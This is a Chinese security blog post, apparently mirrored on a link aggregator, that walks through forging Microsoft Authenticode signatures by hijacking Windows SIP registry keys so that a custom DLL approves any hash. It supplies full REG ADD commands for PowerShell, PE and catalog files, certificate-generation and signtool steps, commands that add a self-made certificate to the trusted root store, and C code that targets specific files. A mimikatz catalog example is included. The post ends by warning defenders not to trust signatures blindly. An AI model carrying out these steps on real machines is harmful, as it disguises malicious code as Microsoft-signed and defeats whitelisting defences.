5

Authenticode签名伪造——针对文件类型的签名伪造

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-%E9%92%88%E5%AF%B9%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》介绍了针对单一文件的Authenticode签名伪造,需要在文件尾部添加伪造的签名数据,这次将介绍另一种签名伪造方式:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。

注:

本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:

https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html

https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view

0x01 简介


本文将要介绍以下内容:

  • 针对powershell脚本的签名伪造方法
  • 针对PE文件的签名伪造方法
  • 针对其他类型文件的签名伪造方法
  • 添加代码实现对特定文件的签名伪造

0x02 针对powershell脚本的签名伪造方法


前提是powershell脚本需要包含一个签名(自己生成的签名会被识别为无效),下面介绍如何将该无效签名伪造成有效的微软签名

生成测试证书:

makecert -n "CN=Microsoft Windows Test1" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

不需要注册该证书

注:

使用makecert.exe要加参数: -eku 1.3.6.1.5.5.7.3.3

否则提示证书无法用于代码签名,具体错误如下:

Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not suitable for code signing.

Alt text

给powershell脚本签名:

$cert = Get-PfxCertificate certtest.pfx
Set-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert

验证证书:

Get-AuthenticodeSignature .\1.ps1

提示UnknownError,表示文件签名无效

Alt text

修改注册表,命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

再次验证:

Get-AuthenticodeSignature .\1.ps1

显示Valid,签名有效

Alt text

注:

不同系统下相同名称的文件签名不同

AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033为Matt Graeber测试系统中的notepad.exe签名hash

现在在我们自己的系统进行测试:Win10 x64

分别获取notepad.exe的签名信息:

Get-AuthenticodeSignature c:\windows\system32\notepad.exe
sigcheck -i C:\Windows\System32\notepad.exe

可以发现sigcheck的输出内容中,Thumbprint对应文件签名hash,如下图

Alt text

接下来,将测试系统改为Win7 x86

在Win7下使用Get-AuthenticodeSignature无法获得notepad.exe的签名信息(catalog签名)

Alt text

但可以通过sigcheck获得,如下图

Alt text

hash为:018B222E21FBB2952304D04D1D87F736ED46DEA4

定位cat文件路径:C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntexe.cat

.cat文件保存格式为ASN.1标准,直接通过记事本无法查看,需要解密,在线网址如下:

https://lapo.it/asn1js/

选择cat文件后即可解密显示完整格式

格式解析可参考:

https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography

将该文件替换PoCSubjectInterfacePackage工程中的MS_cert.bin,重新编译

配置注册表

打开一个新的cmd,查看powershell脚本签名:

Get-AuthenticodeSignature .\1.ps1

同sighcheck获取的hash值保持一致,如下图

Alt text

powershell脚本的Authenticode签名伪造成功

对以上操作直观的理解:

该方法是通过修改系统证书验证过程,使文件将指定的catalog签名作为自己的Authenticode签名

当然,所有带签名的powershell脚本均会统一成hash为018B222E21FBB2952304D04D1D87F736ED46DEA4的签名,这就带来了一个问题:这样会影响正常系统文件的签名校验

我们可以看到,通过这种方式伪造的签名会作用于所有powershell脚本,那么,我们能否针对特定powershell脚本作伪造呢?

以Matt Graeber开源的工程PoCSubjectInterfacePackage作为模板进行修改,下载地址如下:

https://github.com/mattifestation/PoCSubjectInterfacePackage

重点关注函数GetLegitMSSignature,在线地址:

https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138

查看结构SIP_SUBJECTINFO *pSubjectInfo的参数说明,地址如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx

pwsFileNamepwsDisplayName均能够表示文件名称,所以可通过MessageBox进行验证

函数GetLegitMSSignature内添加如下代码:

MessageBox (NULL, pSubjectInfo->pwsFileName, pSubjectInfo->pwsDisplayName,0);  

进行测试,成功获得传入文件名,如下图

Alt text

接下来的思路:

对传入的文件名称进行判断,满足条件的文件加载对应的catalog签名,最终实现对特定文件的签名伪造

筛选文件的代码如下:

if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:\\test\\cer\\1.ps1")==0)
{
	MessageBox (NULL,L"Get selected file", (LPCTSTR)pSubjectInfo->pwsFileName,0) ;   
}

完整代码可参考:

https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c

当前文件为C:\test\cer\1.ps1时,符合条件,进行签名伪造,否则放弃

测试如下图

Alt text

成功实现对特定文件的签名伪造,这种方式的优点是不需要在文件尾部添加Authenticode签名,不改变文件hash

当然,这仅仅是一个POC,还要对系统文件的签名验证做判断

0x03 针对PE文件的签名伪造方法


参考这个列表:

  • C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
  • DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
  • 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
  • C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件

如果替换exe文件的校验,即CryptSIPDllVerifyIndirectDataCryptSIPDllGetSignedDataMsg,命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

重启explorer.exe,所有的exe文件都包含hash为:018B222E21FBB2952304D04D1D87F736ED46DEA4的签名

特别的地方:伪造的签名来自于cat文件,但是会以Authenticode签名的格式显示,通过文件属性能够看到签名信息(这是Authenticode签名的特性,catalog签名不具有该特性)

同样,修改原工程能够实现针对特定PE文件的签名伪造,方法不再赘述

0x04 针对cat文件的签名伪造方法


如果对所有.cat文件的签名验证过程进行替换,再将其添加到安全编录数据库中,那么,包含catalog签名的PE文件是否也随即获得伪造签名呢?

下面开始测试:

新建文本文档cat.txt,内容如下:

[CatalogHeader]
Name=makecat1.cat
[CatalogFiles]
<hash>ExeFile1=mimikatz.exe

注:

txt文件尾部需要一个空行,否则,在接下来的操作会报错,提示文件无法找到

使用makecat.exe生成makecat1.cat:

makecat -v cat.txt

为makecat1.cat添加伪造的Authenticode签名:

signtool sign /f certtest.pfx /p 123456 makecat1.cat

注:

certtest.pfx不能使用之前手动生成的证书,不能加参数: -eku 1.3.6.1.5.5.7.3.3,否则exe文件的catalog签名将会校验失败

生成certtest.pfx的操作如下:

makecert -n "CN=Microsoft Windows Test1" -r -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

此处还需要将证书安装到“受信任的根证书颁发机构”存储区

管理员权限:

certmgr.exe -add -c certtest.cer -s -r localmachine root

否则,之后的签名验证会报错,提示证书链不可信

补充:

从“受信任的根证书颁发机构”存储区删除证书的操作为:

(管理员权限)

certmgr.exe -del -c -n "Windows Test1" -s -r localMachine Root

cat文件对应GUID:DE351A43-8E59-11D0-8C47-00C04FC295EE

替换注册表键值:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

重启explorer.exe,所有的cat文件签名均为Microsoft Windows

将makecat1.cat添加到系统的安全编录数据库:

(管理员权限)

signtool catdb -v makecat1.cat

最终,发现文件的catalog签名保持不变,无法进行伪造

得出结论: 这种方式无法对catalog签名进行伪造

0x05 小结


本文介绍了Authenticode签名伪造的另一种利用方法:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。

经过这两篇文章的测试,得出最终结论:应谨慎对待系统的Authenticode签名,因为通过修改注册表或dll劫持等方式均能够伪造出微软签名,对此,白名单等防御机制不应盲目相信Authenticode签名过的文件。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK